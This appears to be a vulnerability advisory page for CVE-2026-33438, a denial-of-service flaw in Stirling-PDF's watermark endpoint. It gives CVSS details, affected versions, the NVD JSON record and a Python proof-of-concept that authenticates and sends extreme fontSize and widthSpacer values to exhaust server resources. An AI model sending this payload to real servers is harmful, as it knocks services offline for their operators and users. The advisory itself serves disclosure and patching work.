Security Vulnerability Report
中文
CVE-2026-33438 CVSS 6.5 MEDIUM

CVE-2026-33438

Published: 2026-03-26 17:16:41
Last Modified: 2026-03-31 21:37:52

Description

Stirling-PDF is a locally hosted web application that allows you to perform various operations on PDF files. Versions starting in 2.1.5 and prior to 2.5.2 have Denial of Service (DoS) vulnerability in the Stirling-PDF watermark functionality (`/api/v1/security/add-watermark` endpoint). The vulnerability allows authenticated users to cause resource exhaustion and server crashes by providing extreme values for the `fontSize` and `widthSpacer` parameters. Version 2.5.2 patches the issue.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:stirling:stirling_pdf:*:*:*:*:*:*:*:* - VULNERABLE
Stirling-PDF >= 2.1.5, < 2.5.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Change to actual target) target_url = "http://localhost:8080/api/v1/security/add-watermark" # Attacker credentials login_url = "http://localhost:8080/api/v1/auth/login" credentials = { "username": "test_user", "password": "test_password" } # Create session to maintain authentication session = requests.Session() # 1. Authenticate auth_response = session.post(login_url, json=credentials) if auth_response.status_code != 200: print("Login failed") exit(1) # 2. Prepare exploit payload # Extreme values for fontSize and widthSpacer to cause resource exhaustion exploit_data = { "fontSize": 999999999, "widthSpacer": 999999999 } # Depending on the endpoint implementation, files might be required. # Adjusting payload to mimic a typical multipart request if necessary, # but focusing on the parameters described. files = { 'file': ('dummy.pdf', open('dummy.pdf', 'rb'), 'application/pdf') } print("Sending malicious payload...") try: # 3. Send the request response = session.post(target_url, data=exploit_data, files=files, timeout=5) print(f"Response status code: {response.status_code}") except requests.exceptions.Timeout: print("Server timed out - DoS likely successful.") except Exception as e: print(f"An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33438", "sourceIdentifier": "[email protected]", "published": "2026-03-26T17:16:40.657", "lastModified": "2026-03-31T21:37:52.353", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Stirling-PDF is a locally hosted web application that allows you to perform various operations on PDF files. Versions starting in 2.1.5 and prior to 2.5.2 have Denial of Service (DoS) vulnerability in the Stirling-PDF watermark functionality (`/api/v1/security/add-watermark` endpoint). The vulnerability allows authenticated users to cause resource exhaustion and server crashes by providing extreme values for the `fontSize` and `widthSpacer` parameters. Version 2.5.2 patches the issue."}, {"lang": "es", "value": "Stirling-PDF es una aplicación web alojada localmente que permite realizar diversas operaciones en archivos PDF. Las versiones a partir de la 2.1.5 y anteriores a la 2.5.2 tienen una vulnerabilidad de denegación de servicio (DoS) en la funcionalidad de marca de agua de Stirling-PDF (punto de conexión '/api/v1/security/add-watermark'). La vulnerabilidad permite a usuarios autenticados causar agotamiento de recursos y caídas del servidor al proporcionar valores extremos para los parámetros 'fontSize' y 'widthSpacer'. La versión 2.5.2 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:stirling:stirling_pdf:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.1.5", "versionEndExcluding": "2.5.2", "matchCriteriaId": "19BCD243-291F-4708-83E5-CF7EF5041B9D"}]}]}], "references": [{"url": "https://github.com/Stirling-Tools/Stirling-PDF/security/advisories/GHSA-3932-2rfq-87xm", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/Stirling-Tools/Stirling-PDF/security/advisories/GHSA-3932-2rfq-87xm", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}